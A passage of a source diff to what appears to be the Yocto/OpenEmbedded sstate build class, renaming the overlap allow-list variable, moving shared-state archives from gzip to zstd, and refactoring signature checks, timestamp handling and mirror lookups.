+ avail = (limit - len(hash + "_" + taskname + extension) - len(components[0]) - len(components[1]) - len(components[5]) - len(components[6]) - 7) // 3
+ components[2] = components[2][:avail]
+ components[3] = components[3][:avail]
+ components[4] = components[4][:avail]
+ spec = ":".join(components)
+ fn = spec + hash + "_" + taskname + extension
+ if len(fn) > limit:
+ bb.fatal("Unable to reduce sstate name to less than 255 chararacters")
+ return hash[:2] + "/" + hash[2:4] + "/" + fn
SSTATE_PKGARCH = "${PACKAGE_ARCH}"
SSTATE_PKGSPEC = "sstate:${PN}:${PACKAGE_ARCH}${TARGET_VENDOR}-${TARGET_OS}:${PV}:${PR}:${SSTATE_PKGARCH}:${SSTATE_VERSION}:"
SSTATE_SWSPEC = "sstate:${PN}::${PV}:${PR}::${SSTATE_VERSION}:"
-SSTATE_PKGNAME = "${SSTATE_EXTRAPATH}${@generate_sstatefn(d.getVar('SSTATE_PKGSPEC'), d.getVar('BB_UNIHASH'), d)}"
+SSTATE_PKGNAME = "${SSTATE_EXTRAPATH}${@generate_sstatefn(d.getVar('SSTATE_PKGSPEC'), d.getVar('BB_UNIHASH'), d.getVar('SSTATE_CURRTASK'), False, d)}"
SSTATE_PKG = "${SSTATE_DIR}/${SSTATE_PKGNAME}"
SSTATE_EXTRAPATH = ""
SSTATE_EXTRAPATHWILDCARD = ""
-SSTATE_PATHSPEC = "${SSTATE_DIR}/${SSTATE_EXTRAPATHWILDCARD}*/${SSTATE_PKGSPEC}"
+SSTATE_PATHSPEC = "${SSTATE_DIR}/${SSTATE_EXTRAPATHWILDCARD}*/*/${SSTATE_PKGSPEC}*_${SSTATE_PATH_CURRTASK}.tar.zst*"
# explicitly make PV to depend on evaluated value of PV variable
PV[vardepvalue] = "${PV}"
@@ -26,42 +50,50 @@ SSTATE_EXTRAPATH[vardepvalue] = ""
SSTATE_EXTRAPATHWILDCARD[vardepvalue] = ""
# For multilib rpm the allarch packagegroup files can overwrite (in theory they're identical)
-SSTATE_DUPWHITELIST = "${DEPLOY_DIR}/licenses/"
+SSTATE_ALLOW_OVERLAP_FILES = "${DEPLOY_DIR}/licenses/"
# Avoid docbook/sgml catalog warnings for now
-SSTATE_DUPWHITELIST += "${STAGING_ETCDIR_NATIVE}/sgml ${STAGING_DATADIR_NATIVE}/sgml"
+SSTATE_ALLOW_OVERLAP_FILES += "${STAGING_ETCDIR_NATIVE}/sgml ${STAGING_DATADIR_NATIVE}/sgml"
# sdk-provides-dummy-nativesdk and nativesdk-buildtools-perl-dummy overlap for different SDKMACHINE
-SSTATE_DUPWHITELIST += "${DEPLOY_DIR_RPM}/sdk_provides_dummy_nativesdk/ ${DEPLOY_DIR_IPK}/sdk-provides-dummy-nativesdk/"
-SSTATE_DUPWHITELIST += "${DEPLOY_DIR_RPM}/buildtools_dummy_nativesdk/ ${DEPLOY_DIR_IPK}/buildtools-dummy-nativesdk/"
+SSTATE_ALLOW_OVERLAP_FILES += "${DEPLOY_DIR_RPM}/sdk_provides_dummy_nativesdk/ ${DEPLOY_DIR_IPK}/sdk-provides-dummy-nativesdk/"
+SSTATE_ALLOW_OVERLAP_FILES += "${DEPLOY_DIR_RPM}/buildtools_dummy_nativesdk/ ${DEPLOY_DIR_IPK}/buildtools-dummy-nativesdk/"
# target-sdk-provides-dummy overlaps that allarch is disabled when multilib is used
-SSTATE_DUPWHITELIST += "${COMPONENTS_DIR}/sdk-provides-dummy-target/ ${DEPLOY_DIR_RPM}/sdk_provides_dummy_target/ ${DEPLOY_DIR_IPK}/sdk-provides-dummy-target/"
+SSTATE_ALLOW_OVERLAP_FILES += "${COMPONENTS_DIR}/sdk-provides-dummy-target/ ${DEPLOY_DIR_RPM}/sdk_provides_dummy_target/ ${DEPLOY_DIR_IPK}/sdk-provides-dummy-target/"
# Archive the sources for many architectures in one deploy folder
-SSTATE_DUPWHITELIST += "${DEPLOY_DIR_SRC}"
+SSTATE_ALLOW_OVERLAP_FILES += "${DEPLOY_DIR_SRC}"
# ovmf/grub-efi/systemd-boot/intel-microcode multilib recipes can generate identical overlapping files
-SSTATE_DUPWHITELIST += "${DEPLOY_DIR_IMAGE}/ovmf"
-SSTATE_DUPWHITELIST += "${DEPLOY_DIR_IMAGE}/grub-efi"
-SSTATE_DUPWHITELIST += "${DEPLOY_DIR_IMAGE}/systemd-boot"
-SSTATE_DUPWHITELIST += "${DEPLOY_DIR_IMAGE}/microcode"
+SSTATE_ALLOW_OVERLAP_FILES += "${DEPLOY_DIR_IMAGE}/ovmf"
+SSTATE_ALLOW_OVERLAP_FILES += "${DEPLOY_DIR_IMAGE}/grub-efi"
+SSTATE_ALLOW_OVERLAP_FILES += "${DEPLOY_DIR_IMAGE}/systemd-boot"
+SSTATE_ALLOW_OVERLAP_FILES += "${DEPLOY_DIR_IMAGE}/microcode"
SSTATE_SCAN_FILES ?= "*.la *-config *_config postinst-*"
SSTATE_SCAN_CMD ??= 'find ${SSTATE_BUILDDIR} \( -name "${@"\" -o -name \"".join(d.getVar("SSTATE_SCAN_FILES").split())}" \) -type f'
SSTATE_SCAN_CMD_NATIVE ??= 'grep -Irl -e ${RECIPE_SYSROOT} -e ${RECIPE_SYSROOT_NATIVE} -e ${HOSTTOOLS_DIR} ${SSTATE_BUILDDIR}'
+SSTATE_HASHEQUIV_FILEMAP ?= " \
+ populate_sysroot:*/postinst-useradd-*:${TMPDIR} \
+ populate_sysroot:*/postinst-useradd-*:${COREBASE} \
+ populate_sysroot:*/postinst-useradd-*:regex-\s(PATH|PSEUDO_IGNORE_PATHS|HOME|LOGNAME|OMP_NUM_THREADS|USER)=.*\s \
+ populate_sysroot:*/crossscripts/*:${TMPDIR} \
+ populate_sysroot:*/crossscripts/*:${COREBASE} \
+ "
BB_HASHFILENAME = "False ${SSTATE_PKGSPEC} ${SSTATE_SWSPEC}"
SSTATE_ARCHS = " \
${BUILD_ARCH} \
+ ${BUILD_ARCH}_${ORIGNATIVELSBSTRING} \
${BUILD_ARCH}_${SDK_ARCH}_${SDK_OS} \
- ${BUILD_ARCH}_${TARGET_ARCH} \
${SDK_ARCH}_${SDK_OS} \
${SDK_ARCH}_${PACKAGE_ARCH} \
allarch \
${PACKAGE_ARCH} \
${PACKAGE_EXTRA_ARCHS} \
${MACHINE_ARCH}"
+SSTATE_ARCHS[vardepsexclude] = "ORIGNATIVELSBSTRING"
SSTATE_MANMACH ?= "${SSTATE_PKGARCH}"
-SSTATECREATEFUNCS = "sstate_hardcode_path"
+SSTATECREATEFUNCS += "sstate_hardcode_path"
SSTATECREATEFUNCS[vardeps] = "SSTATE_SCAN_FILES"
SSTATEPOSTCREATEFUNCS = ""
SSTATEPREINSTFUNCS = ""
@@ -83,6 +115,9 @@ SSTATE_SIG_KEY ?= ""
SSTATE_SIG_PASSPHRASE ?= ""
# Whether to verify the GnUPG signatures when extracting sstate archives
SSTATE_VERIFY_SIG ?= "0"
+# List of signatures to consider valid.
+SSTATE_VALID_SIGS ??= ""
+SSTATE_VALID_SIGS[vardepvalue] = ""
SSTATE_HASHEQUIV_METHOD ?= "oe.sstatesig.OEOuthashBasic"
SSTATE_HASHEQUIV_METHOD[doc] = "The fully-qualified function used to calculate \
@@ -102,7 +137,7 @@ python () {
elif bb.data.inherits_class('crosssdk', d):
d.setVar('SSTATE_PKGARCH', d.expand("${BUILD_ARCH}_${SDK_ARCH}_${SDK_OS}"))
elif bb.data.inherits_class('cross', d):
- d.setVar('SSTATE_PKGARCH', d.expand("${BUILD_ARCH}_${TARGET_ARCH}"))
+ d.setVar('SSTATE_PKGARCH', d.expand("${BUILD_ARCH}"))
elif bb.data.inherits_class('nativesdk', d):
d.setVar('SSTATE_PKGARCH', d.expand("${SDK_ARCH}_${SDK_OS}"))
elif bb.data.inherits_class('cross-canadian', d):
@@ -122,6 +157,8 @@ python () {
for task in unique_tasks:
d.prependVarFlag(task, 'prefuncs', "sstate_task_prefunc ")
d.appendVarFlag(task, 'postfuncs', " sstate_task_postfunc")
+ d.setVarFlag(task, 'network', '1')
+ d.setVarFlag(task + "_setscene", 'network', '1')
}
def sstate_init(task, d):
@@ -222,13 +259,13 @@ def sstate_install(ss, d):
shareddirs.append(dstdir)
# Check the file list for conflicts against files which already exist
- whitelist = (d.getVar("SSTATE_DUPWHITELIST") or "").split()
+ overlap_allowed = (d.getVar("SSTATE_ALLOW_OVERLAP_FILES") or "").split()
match = []
for f in sharedfiles:
if os.path.exists(f) and not os.path.islink(f):
f = os.path.normpath(f)
realmatch = True
- for w in whitelist:
+ for w in overlap_allowed:
w = os.path.normpath(w)
if f.startswith(w):
realmatch = False
@@ -258,7 +295,7 @@ def sstate_install(ss, d):
"DISTRO_FEATURES on an existing build directory is not supported - you " \
"should really clean out tmp and rebuild (reusing sstate should be safe). " \
"It could be the overlapping files detected are harmless in which case " \
- "adding them to SSTATE_DUPWHITELIST may be the correct solution. It could " \
+ "adding them to SSTATE_ALLOW_OVERLAP_FILES may be the correct solution. It could " \
"also be your build is including two different conflicting versions of " \
"things (e.g. bluez 4 and bluez 5 and the correct solution for that would " \
"be to resolve the conflict. If in doubt, please ask on the mailing list, " \
@@ -293,6 +330,8 @@ def sstate_install(ss, d):
if os.path.exists(i):
with open(i, "r") as f:
manifests = f.readlines()
+ # We append new entries, we don't remove older entries which may have the same
+ # manifest name but different versions from stamp/workdir. See below.
if filedata not in manifests:
with open(i, "a+") as f:
f.write(filedata)
@@ -310,15 +349,16 @@ def sstate_install(ss, d):
for lock in locks:
bb.utils.unlockfile(lock)
-sstate_install[vardepsexclude] += "SSTATE_DUPWHITELIST STATE_MANMACH SSTATE_MANFILEPREFIX"
+sstate_install[vardepsexclude] += "SSTATE_ALLOW_OVERLAP_FILES STATE_MANMACH SSTATE_MANFILEPREFIX"
sstate_install[vardeps] += "${SSTATEPOSTINSTFUNCS}"
def sstate_installpkg(ss, d):
from oe.gpg_sign import get_signer
sstateinst = d.expand("${WORKDIR}/sstate-install-%s/" % ss['task'])
- sstatefetch = d.getVar('SSTATE_PKGNAME') + '_' + ss['task'] + ".tgz"
- sstatepkg = d.getVar('SSTATE_PKG') + '_' + ss['task'] + ".tgz"
+ d.setVar("SSTATE_CURRTASK", ss['task'])
+ sstatefetch = d.getVar('SSTATE_PKGNAME')
+ sstatepkg = d.getVar('SSTATE_PKG')
if not os.path.exists(sstatepkg):
pstaging_fetch(sstatefetch, d)
@@ -330,11 +370,13 @@ def sstate_installpkg(ss, d):
sstate_clean(ss, d)
d.setVar('SSTATE_INSTDIR', sstateinst)
- d.setVar('SSTATE_PKG', sstatepkg)
if bb.utils.to_boolean(d.getVar("SSTATE_VERIFY_SIG"), False):
+ if not os.path.isfile(sstatepkg + '.sig'):
+ bb.warn("No signature file for sstate package %s, skipping acceleration..." % sstatepkg)
+ return False
signer = get_signer(d, 'local')
- if not signer.verify(sstatepkg + '.sig'):
+ if not signer.verify(sstatepkg + '.sig', d.getVar("SSTATE_VALID_SIGS")):
bb.warn("Cannot verify signature on sstate package %s, skipping acceleration..." % sstatepkg)
return False
@@ -372,7 +414,7 @@ def sstate_installpkgdir(ss, d):
for state in ss['dirs']:
prepdir(state[1])
- os.rename(sstateinst + state[0], state[1])
+ bb.utils.rename(sstateinst + state[0], state[1])
sstate_install(ss, d)
for plain in ss['plaindirs']:
@@ -384,7 +426,7 @@ def sstate_installpkgdir(ss, d):
dest = plain
bb.utils.mkdirhier(src)
prepdir(dest)
- os.rename(src, dest)
+ bb.utils.rename(src, dest)
return True
@@ -440,8 +482,9 @@ python sstate_hardcode_path_unpack () {
def sstate_clean_cachefile(ss, d):
import oe.path
- sstatepkgfile = d.getVar('SSTATE_PATHSPEC') + "*_" + ss['task'] + ".tgz*"
if d.getVarFlag('do_%s' % ss['task'], 'task'):
+ d.setVar("SSTATE_PATH_CURRTASK", ss['task'])
+ sstatepkgfile = d.getVar('SSTATE_PATHSPEC')
bb.note("Removing %s" % sstatepkgfile)
oe.path.remove(sstatepkgfile)
@@ -451,7 +494,7 @@ def sstate_clean_cachefiles(d):
ss = sstate_state_fromvars(ld, task)
sstate_clean_cachefile(ss, ld)
-def sstate_clean_manifest(manifest, d, prefix=None):
+def sstate_clean_manifest(manifest, d, canrace=False, prefix=None):
import oe.path
mfile = open(manifest)
@@ -469,7 +512,9 @@ def sstate_clean_manifest(manifest, d, prefix=None):
if entry.endswith("/"):
if os.path.islink(entry[:-1]):
os.remove(entry[:-1])
- elif os.path.exists(entry) and len(os.listdir(entry)) == 0:
+ elif os.path.exists(entry) and len(os.listdir(entry)) == 0 and not canrace:
+ # Removing directories whilst builds are in progress exposes a race. Only
+ # do it in contexts where it is safe to do so.
os.rmdir(entry[:-1])
else:
os.remove(entry)
@@ -507,7 +552,7 @@ def sstate_clean(ss, d):
for lock in ss['lockfiles']:
locks.append(bb.utils.lockfile(lock))
- sstate_clean_manifest(manifest, d)
+ sstate_clean_manifest(manifest, d, canrace=True)
for lock in locks:
bb.utils.unlockfile(lock)
@@ -608,14 +653,24 @@ python sstate_hardcode_path () {
def sstate_package(ss, d):
import oe.path
+ import time
tmpdir = d.getVar('TMPDIR')
+ fixtime = False
+ if ss['task'] == "package":
+ fixtime = True
+
+ def fixtimestamp(root, path):
+ f = os.path.join(root, path)
+ if os.lstat(f).st_mtime > sde:
+ os.utime(f, (sde, sde), follow_symlinks=False)
+
sstatebuild = d.expand("${WORKDIR}/sstate-build-%s/" % ss['task'])
- sstatepkg = d.getVar('SSTATE_PKG') + '_'+ ss['task'] + ".tgz"
+ sde = int(d.getVar("SOURCE_DATE_EPOCH") or time.time())
+ d.setVar("SSTATE_CURRTASK", ss['task'])
bb.utils.remove(sstatebuild, recurse=True)
bb.utils.mkdirhier(sstatebuild)
- bb.utils.mkdirhier(os.path.dirname(sstatepkg))
for state in ss['dirs']:
if not os.path.exists(state[1]):
continue
@@ -625,6 +680,8 @@ def sstate_package(ss, d):
# to sstate tasks but there aren't many of these so better just avoid them entirely.
for walkroot, dirs, files in os.walk(state[1]):
for file in files + dirs:
+ if fixtime:
+ fixtimestamp(walkroot, file)
srcpath = os.path.join(walkroot, file)
if not os.path.islink(srcpath):
continue
@@ -635,7 +692,7 @@ def sstate_package(ss, d):
continue
bb.error("sstate found an absolute path symlink %s pointing at %s. Please replace this with a relative link." % (srcpath, link))
bb.debug(2, "Preparing tree %s for packaging at %s" % (state[1], sstatebuild + state[0]))
- os.rename(state[1], sstatebuild + state[0])
+ bb.utils.rename(state[1], sstatebuild + state[0])
workdir = d.getVar('WORKDIR')
sharedworkdir = os.path.join(d.getVar('TMPDIR'), "work-shared")
@@ -645,10 +702,14 @@ def sstate_package(ss, d):
pdir = plain.replace(sharedworkdir, sstatebuild)
bb.utils.mkdirhier(plain)
bb.utils.mkdirhier(pdir)
- os.rename(plain, pdir)
+ bb.utils.rename(plain, pdir)
+ if fixtime:
+ fixtimestamp(pdir, "")
+ for walkroot, dirs, files in os.walk(pdir):
+ for file in files + dirs:
+ fixtimestamp(walkroot, file)
d.setVar('SSTATE_BUILDDIR', sstatebuild)
- d.setVar('SSTATE_PKG', sstatepkg)
d.setVar('SSTATE_INSTDIR', sstatebuild)
if d.getVar('SSTATE_SKIP_CREATION') == '1':
@@ -664,10 +725,25 @@ def sstate_package(ss, d):
# All hooks should run in SSTATE_BUILDDIR.
bb.build.exec_func(f, d, (sstatebuild,))
- bb.siggen.dump_this_task(sstatepkg + ".siginfo", d)
+ # SSTATE_PKG may have been changed by sstate_report_unihash
+ siginfo = d.getVar('SSTATE_PKG') + ".siginfo"
+ if not os.path.exists(siginfo):
+ bb.siggen.dump_this_task(siginfo, d)
+ else:
+ try:
+ os.utime(siginfo, None)
+ except PermissionError:
+ pass
+ except OSError as e:
+ # Handle read-only file systems gracefully
+ import errno
+ if e.errno != errno.EROFS:
+ raise e
return
+sstate_package[vardepsexclude] += "SSTATE_SIG_KEY"
+
def pstaging_fetch(sstatefetch, d):
import bb.fetch2
@@ -686,6 +762,7 @@ def pstaging_fetch(sstatefetch, d):
localdata.setVar('FILESPATH', dldir)
localdata.setVar('DL_DIR', dldir)
localdata.setVar('PREMIRRORS', mirrors)
+ localdata.setVar('SRCPV', d.getVar('SRCPV'))
# if BB_NO_NETWORK is set but we also have SSTATE_MIRROR_ALLOW_NETWORK,
# we'll want to allow network access for the current set of fetches.
@@ -704,16 +781,22 @@ def pstaging_fetch(sstatefetch, d):
localdata.setVar('SRC_URI', srcuri)
try:
fetcher = bb.fetch2.Fetch([srcuri], localdata, cache=False)
+ fetcher.checkstatus()
fetcher.download()
except bb.fetch2.BBFetchException:
- break
+ pass
+
+pstaging_fetch[vardepsexclude] += "SRCPV"
+
def sstate_setscene(d):
shared_state = sstate_state_fromvars(d)
accelerate = sstate_installpkg(shared_state, d)
if not accelerate:
- bb.fatal("No suitable staging package found")
+ msg = "No sstate archive obtainable, will run full task instead."
+ bb.warn(msg)
+ raise bb.BBHandledException(msg)
python sstate_task_prefunc () {
shared_state = sstate_state_fromvars(d)
@@ -748,38 +831,48 @@ sstate_task_postfunc[dirs] = "${WORKDIR}"
# set as SSTATE_BUILDDIR. Will be run from within SSTATE_BUILDDIR.
#
sstate_create_package () {
- TFILE=`mktemp ${SSTATE_PKG}.XXXXXXXX`
-
- # Exit earlu if it already exists
+ # Exit early if it already exists
if [ -e ${SSTATE_PKG} ]; then
+ touch ${SSTATE_PKG} 2>/dev/null || true
return
fi
- # Use pigz if available
- OPT="-czS"
- if [ -x "$(command -v pigz)" ]; then
- OPT="-I pigz -cS"
- fi
+ mkdir --mode=0775 -p `dirname ${SSTATE_PKG}`
+ TFILE=`mktemp ${SSTATE_PKG}.XXXXXXXX`
+
+ OPT="-cS"
+ ZSTD="zstd -${SSTATE_ZSTD_CLEVEL} -T${ZSTD_THREADS}"
+ # Use pzstd if available
+ if [ -x "$(command -v pzstd)" ]; then
+ ZSTD="pzstd -${SSTATE_ZSTD_CLEVEL} -p ${ZSTD_THREADS}"
+ fi
# Need to handle empty directories
if [ "$(ls -A)" ]; then
set +e
- tar $OPT -f $TFILE *
+ tar -I "$ZSTD" $OPT -f $TFILE *
ret=$?
if [ $ret -ne 0 ] && [ $ret -ne 1 ]; then
exit 1
fi
set -e
else
- tar $OPT --file=$TFILE --files-from=/dev/null
+ tar -I "$ZSTD" $OPT --file=$TFILE --files-from=/dev/null
fi
chmod 0664 $TFILE
# Skip if it was already created by some other process
- if [ ! -e ${SSTATE_PKG} ]; then
- mv -f $TFILE ${SSTATE_PKG}
+ if [ -h ${SSTATE_PKG} ] && [ ! -e ${SSTATE_PKG} ]; then
+ # There is a symbolic link, but it links to nothing.
+ # Forcefully replace it with the new file.
+ ln -f $TFILE ${SSTATE_PKG} || true
+ elif [ ! -e ${SSTATE_PKG} ]; then
+ # Move into place using ln to attempt an atomic op.
+ # Abort if it already exists
+ ln $TFILE ${SSTATE_PKG} || true
else
- rm $TFILE
+ touch ${SSTATE_PKG} 2>/dev/null || true
fi
+ rm $TFILE
}
python sstate_sign_package () {
@@ -807,13 +900,19 @@ python sstate_report_unihash() {
# Will be run from within SSTATE_INSTDIR.
#
sstate_unpack_package () {
- tar -xvzf ${SSTATE_PKG}
- # update .siginfo atime on local/NFS mirror
- [ -w ${SSTATE_PKG}.siginfo ] && [ -h ${SSTATE_PKG}.siginfo ] && touch -a ${SSTATE_PKG}.siginfo
- # Use "! -w ||" to return true for read only files
- [ ! -w ${SSTATE_PKG} ] || touch --no-dereference ${SSTATE_PKG}
- [ ! -w ${SSTATE_PKG}.sig ] || [ ! -e ${SSTATE_PKG}.sig ] || touch --no-dereference ${SSTATE_PKG}.sig
- [ ! -w ${SSTATE_PKG}.siginfo ] || [ ! -e ${SSTATE_PKG}.siginfo ] || touch --no-dereference ${SSTATE_PKG}.siginfo
+ ZSTD="zstd -T${ZSTD_THREADS}"
+ # Use pzstd if available
+ if [ -x "$(command -v pzstd)" ]; then
+ ZSTD="pzstd -p ${ZSTD_THREADS}"
+ fi
+
+ tar -I "$ZSTD" -xvpf ${SSTATE_PKG}
+ # update .siginfo atime on local/NFS mirror if it is a symbolic link
+ [ ! -h ${SSTATE_PKG}.siginfo ] || [ ! -e ${SSTATE_PKG}.siginfo ] || touch -a ${SSTATE_PKG}.siginfo 2>/dev/null || true
+ # update each symbolic link instead of any referenced file
+ touch --no-dereference ${SSTATE_PKG} 2>/dev/null || true
+ [ ! -e ${SSTATE_PKG}.sig ] || touch --no-dereference ${SSTATE_PKG}.sig 2>/dev/null || true
+ [ ! -e ${SSTATE_PKG}.siginfo ] || touch --no-dereference ${SSTATE_PKG}.siginfo 2>/dev/null || true
}
BB_HASHCHECK_FUNCTION = "sstate_checkhashes"
@@ -821,9 +920,6 @@ BB_HASHCHECK_FUNCTION = "sstate_checkhashes"
def sstate_checkhashes(sq_data, d, siginfo=False, currentcount=0, summary=True, **kwargs):
found = set()
missed = set()
- extension = ".tgz"
- if siginfo:
- extension = extension + ".siginfo"
def gethash(task):
return sq_data['unihash'][task]
@@ -845,21 +941,22 @@ def sstate_checkhashes(sq_data, d, siginfo=False, currentcount=0, summary=True,
return spec, extrapath, tname
+ def getsstatefile(tid, siginfo, d):
+ spec, extrapath, tname = getpathcomponents(tid, d)
+ return extrapath + generate_sstatefn(spec, gethash(tid), tname, siginfo, d)
for tid in sq_data['hash']:
- spec, extrapath, tname = getpathcomponents(tid, d)
-
- sstatefile = d.expand("${SSTATE_DIR}/" + extrapath + generate_sstatefn(spec, gethash(tid), d) + "_" + tname + extension)
+ sstatefile = d.expand("${SSTATE_DIR}/" + getsstatefile(tid, siginfo, d))
if os.path.exists(sstatefile):
- bb.debug(2, "SState: Found valid sstate file %s" % sstatefile)
found.add(tid)
- continue
+ bb.debug(2, "SState: Found valid sstate file %s" % sstatefile)
else:
missed.add(tid)
bb.debug(2, "SState: Looked for but didn't find file %s" % sstatefile)
+ foundLocal = len(found)
mirrors = d.getVar("SSTATE_MIRRORS")
if mirrors:
# Copy the data object and override DL_DIR and SRC_URI
@@ -891,63 +988,63 @@ def sstate_checkhashes(sq_data, d, siginfo=False, currentcount=0, summary=True,
localdata2 = bb.data.createCopy(localdata)
srcuri = "file://" + sstatefile
- localdata.setVar('SRC_URI', srcuri)
+ localdata2.setVar('SRC_URI', srcuri)
bb.debug(2, "SState: Attempting to fetch %s" % srcuri)
+ import traceback
+
try:
fetcher = bb.fetch2.Fetch(srcuri.split(), localdata2,
connection_cache=thread_worker.connection_cache)
fetcher.checkstatus()
bb.debug(2, "SState: Successful fetch test for %s" % srcuri)
found.add(tid)
- if tid in missed:
- missed.remove(tid)
- except:
- missed.add(tid)
- bb.debug(2, "SState: Unsuccessful fetch test for %s" % srcuri)
- pass
- bb.event.fire(bb.event.ProcessProgress(msg, len(tasklist) - thread_worker.tasks.qsize()), d)
+ missed.remove(tid)
+ except bb.fetch2.FetchError as e:
+ bb.debug(2, "SState: Unsuccessful fetch test for %s (%s)\n%s" % (srcuri, repr(e), traceback.format_exc()))
+ except Exception as e:
+ bb.error("SState: cannot test %s: %s\n%s" % (srcuri, repr(e), traceback.format_exc()))
+
+ if progress:
+ bb.event.fire(bb.event.ProcessProgress(msg, len(tasklist) - thread_worker.tasks.qsize()), d)
tasklist = []
- for tid in sq_data['hash']:
- if tid in found:
- continue
- spec, extrapath, tname = getpathcomponents(tid, d)
- sstatefile = d.expand(extrapath + generate_sstatefn(spec, gethash(tid), d) + "_" + tname + extension)
+ for tid in missed:
+ sstatefile = d.expand(getsstatefile(tid, siginfo, d))
tasklist.append((tid, sstatefile))
if tasklist:
- msg = "Checking sstate mirror object availability"
- bb.event.fire(bb.event.ProcessStarted(msg, len(tasklist)), d)
-
- import multiprocessing
- nproc = min(multiprocessing.cpu_count(), len(tasklist))
-
- bb.event.enable_threadlock()
- pool = oe.utils.ThreadedPool(nproc, len(tasklist),
- worker_init=checkstatus_init, worker_end=checkstatus_end)
- for t in tasklist:
- pool.add_task(checkstatus, t)
- pool.start()
- pool.wait_completion()
- bb.event.disable_threadlock()
-
- bb.event.fire(bb.event.ProcessFinished(msg), d)
-
- # Likely checking an individual task hash again for multiconfig sharing of sstate tasks so skip reporting
- if len(sq_data['hash']) == 1:
- return found
+ nproc = min(int(d.getVar("BB_NUMBER_THREADS")), len(tasklist))
+
+ progress = len(tasklist) >= 100
+ if progress:
+ msg = "Checking sstate mirror object availability"
+ bb.event.fire(bb.event.ProcessStarted(msg, len(tasklist)), d)
+
+ # Have to setup the fetcher environment here rather than in each thread as it would race
+ fetcherenv = bb.fetch2.get_fetcher_environment(d)
+ with bb.utils.environment(**fetcherenv):
+ bb.event.enable_threadlock()
+ pool = oe.utils.ThreadedPool(nproc, len(tasklist),
+ worker_init=checkstatus_init, worker_end=checkstatus_end,
+ name="sstate_checkhashes-")
+ for t in tasklist:
+ pool.add_task(checkstatus, t)
+ pool.start()
+ pool.wait_completion()
+ bb.event.disable_threadlock()
+
+ if progress:
+ bb.event.fire(bb.event.ProcessFinished(msg), d)
inheritlist = d.getVar("INHERIT")
if "toaster" in inheritlist:
evdata = {'missed': [], 'found': []};
for tid in missed:
- spec, extrapath, tname = getpathcomponents(tid, d)
- sstatefile = d.expand(extrapath + generate_sstatefn(spec, gethash(tid), d) + "_" + tname + ".tgz")
+ sstatefile = d.expand(getsstatefile(tid, False, d))
evdata['missed'].append((bb.runqueue.fn_from_tid(tid), bb.runqueue.taskname_from_tid(tid), gethash(tid), sstatefile ) )
for tid in found:
- spec, extrapath, tname = getpathcomponents(tid, d)
- sstatefile = d.expand(extrapath + generate_sstatefn(spec, gethash(tid), d) + "_" + tname + ".tgz")
+ sstatefile = d.expand(getsstatefile(tid, False, d))
evdata['found'].append((bb.runqueue.fn_from_tid(tid), bb.runqueue.taskname_from_tid(tid), gethash(tid), sstatefile ) )
bb.event.fire(bb.event.MetadataEvent("MissedSstate", evdata), d)
@@ -961,12 +1058,14 @@ def sstate_checkhashes(sq_data, d, siginfo=False, currentcount=0, summary=True,
match = 0
if total:
match = len(found) / total * 100
- bb.plain("Sstate summary: Wanted %d Found %d Missed %d Current %d (%d%% match, %d%% complete)" % (total, len(found), len(missed), currentcount, match, complete))
+ bb.plain("Sstate summary: Wanted %d Local %d Mirrors %d Missed %d Current %d (%d%% match, %d%% complete)" %
+ (total, foundLocal, len(found)-foundLocal, len(missed), currentcount, match, complete))
if hasattr(bb.parse.siggen, "checkhashes"):
bb.parse.siggen.checkhashes(sq_data, missed, found, d)
return found
+setscene_depvalid[vardepsexclude] = "SSTATE_EXCLUDEDEPS_SYSROOT"
BB_SETSCENE_DEPVALID = "setscene_depvalid"
@@ -985,15 +1084,13 @@ def setscene_depvalid(task, taskdependees, notneeded, d, log=None):
logit("Considering setscene task: %s" % (str(taskdependees[task])), log)
+ directtasks = ["do_populate_lic", "do_deploy_source_date_epoch", "do_shared_workdir", "do_stash_locale", "do_gcc_stash_builddir", "do_create_spdx"]
+
def isNativeCross(x):
return x.endswith("-native") or "-cross-" in x or "-crosssdk" in x or x.endswith("-cross")
- # We only need to trigger populate_lic through direct dependencies
- if taskdependees[task][1] == "do_populate_lic":
- return True
-
- # stash_locale and gcc_stash_builddir are never needed as a dependency for built objects
- if taskdependees[task][1] == "do_stash_locale" or taskdependees[task][1] == "do_gcc_stash_builddir":
+ # We only need to trigger deploy_source_date_epoch through direct dependencies
+ if taskdependees[task][1] in directtasks:
return True
# We only need to trigger packagedata through direct dependencies
@@ -1016,8 +1113,8 @@ def setscene_depvalid(task, taskdependees, notneeded, d, log=None):
# do_package_write_* need do_populate_sysroot as they're mainly postinstall dependencies
if taskdependees[task][1] == "do_populate_sysroot" and taskdependees[dep][1] in ['do_package_write_deb', 'do_package_write_ipk', 'do_package_write_rpm']:
return False
- # do_package/packagedata/package_qa don't need do_populate_sysroot
- if taskdependees[task][1] == "do_populate_sysroot" and taskdependees[dep][1] in ['do_package', 'do_packagedata', 'do_package_qa']:
+ # do_package/packagedata/package_qa/deploy don't need do_populate_sysroot
+ if taskdependees[task][1] == "do_populate_sysroot" and taskdependees[dep][1] in ['do_package', 'do_packagedata', 'do_package_qa', 'do_deploy']:
continue
# Native/Cross packages don't exist and are noexec anyway
if isNativeCross(taskdependees[dep][0]) and taskdependees[dep][1] in ['do_package_write_deb', 'do_package_write_ipk', 'do_package_write_rpm', 'do_packagedata', 'do_package', 'do_package_qa']:
@@ -1065,13 +1162,9 @@ def setscene_depvalid(task, taskdependees, notneeded, d, log=None):
# Target populate_sysroot need their dependencies
return False
- if taskdependees[task][1] == 'do_shared_workdir':
+ if taskdependees[dep][1] in directtasks:
continue
- if taskdependees[dep][1] == "do_populate_lic":
- continue
-
-
# Safe fallthrough default
logit(" Default setscene dependency fall through due to dependency: %s" % (str(taskdependees[dep])), log)
return False
@@ -1081,29 +1174,45 @@ addhandler sstate_eventhandler
sstate_eventhandler[eventmask] = "bb.build.TaskSucceeded"
python sstate_eventhandler() {
d = e.data
- # When we write an sstate package we rewrite the SSTATE_PKG
- spkg = d.getVar('SSTATE_PKG')
- if not spkg.endswith(".tgz"):
+ writtensstate = d.getVar('SSTATE_CURRTASK')
+ if not writtensstate:
taskname = d.getVar("BB_RUNTASK")[3:]
spec = d.getVar('SSTATE_PKGSPEC')
swspec = d.getVar('SSTATE_SWSPEC')
if taskname in ["fetch", "unpack", "patch", "populate_lic", "preconfigure"] and swspec:
d.setVar("SSTATE_PKGSPEC", "${SSTATE_SWSPEC}")
d.setVar("SSTATE_EXTRAPATH", "")
- sstatepkg = d.getVar('SSTATE_PKG')
- bb.siggen.dump_this_task(sstatepkg + '_' + taskname + ".tgz" ".siginfo", d)
+ d.setVar("SSTATE_CURRTASK", taskname)
+ siginfo = d.getVar('SSTATE_PKG') + ".siginfo"
